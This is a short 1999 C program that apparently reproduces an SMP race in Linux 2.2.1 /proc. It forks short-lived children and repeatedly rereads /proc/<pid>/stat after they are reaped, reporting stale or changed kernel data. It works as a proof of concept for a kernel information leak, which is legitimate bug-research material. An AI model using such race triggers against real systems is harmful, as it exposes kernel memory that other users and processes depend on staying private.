/*
 * Copyright (C) 1999  Andrea Arcangeli
 * Linux-2.2.1 /proc SMP race sniffer
 */

#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>

static volatile int pid = -1;
static int prog_length;
static pthread_mutex_t pid_lock = PTHREAD_MUTEX_INITIALIZER;
static pthread_mutex_t zombie_lock = PTHREAD_MUTEX_INITIALIZER;

static int get_current_pid(void)
{
        int __pid;
        pthread_mutex_lock(&pid_lock);
        __pid = pid;
        pthread_mutex_unlock(&pid_lock);
        return __pid;
}

static void * sniffer(void *dummy)
{
        int cache_pid = -1, fd = -1;
        char str[50], buf[2000], sample[2000];

        pthread_mutex_lock(&zombie_lock);
        pthread_mutex_unlock(&zombie_lock);

        for (;;)
        {
                int length_cmp;
                if (get_current_pid() != cache_pid)
                {
                        pthread_mutex_lock(&zombie_lock);
                        cache_pid = pid;
                        snprintf(str, 50, "/proc/%d/stat", cache_pid);
                        if (fd > 0)
                                close(fd);
                        fd = open(str, O_RDONLY|O_NONBLOCK);
                        if (fd > 0)
                        {
                                int length;
                                length = read(fd, &buf, 2000);
                                if (length > 0)
                                {
                                        length_cmp = length;
                                        memcpy(sample, buf, length);
                                        sample[length-1] = 0;
                                }
                        }
                        pthread_mutex_unlock(&zombie_lock);
                }

                if (fd > 0)
                {
                        int length;

                        lseek(fd, 0, SEEK_SET);
                        length = read(fd, &buf, 200);
                        buf[length-1] = 0;
                        if (length >= length_cmp && memcmp(buf, sample,
                                                           length_cmp))
                                printf("length %d, pid %d\n"
                                       "original data: %s\n"
                                       "modifyed data: %s\n",
                                       length, cache_pid, sample, buf);
                }
        }
}

static int is_zombie(int __pid)
{
        char str[50], state;
        FILE * status;
        snprintf(str, 50, "/proc/%d/status", __pid);
        status = fopen(str, "r");
        if (!status)
        {
                perror("open");
                exit(2);
        }
        fscanf(status, "%*s\t%*s\nState:\t%c", &state);
        fclose(status);
        if (state != 'Z')
                return 0;
        return 1;
}

int main(int argc, char *argv[])
{
        int dummy;
        pthread_t task_struct_sniffer;

        pthread_mutex_lock(&zombie_lock);

        if (pthread_create(&task_struct_sniffer, NULL, sniffer, NULL))
        {
                perror("pthread_create");
                exit(1);
        }

        for (;;)
        {
                int __pid = fork();
                if (!__pid)
                        _exit(0);

                while (!is_zombie(__pid));

                pthread_mutex_lock(&pid_lock);
                pid = __pid;
                pthread_mutex_unlock(&pid_lock);

                pthread_mutex_unlock(&zombie_lock);
                usleep(1);
                wait(&dummy);
                pthread_mutex_lock(&zombie_lock);
        }
        pthread_mutex_unlock(&zombie_lock);
}
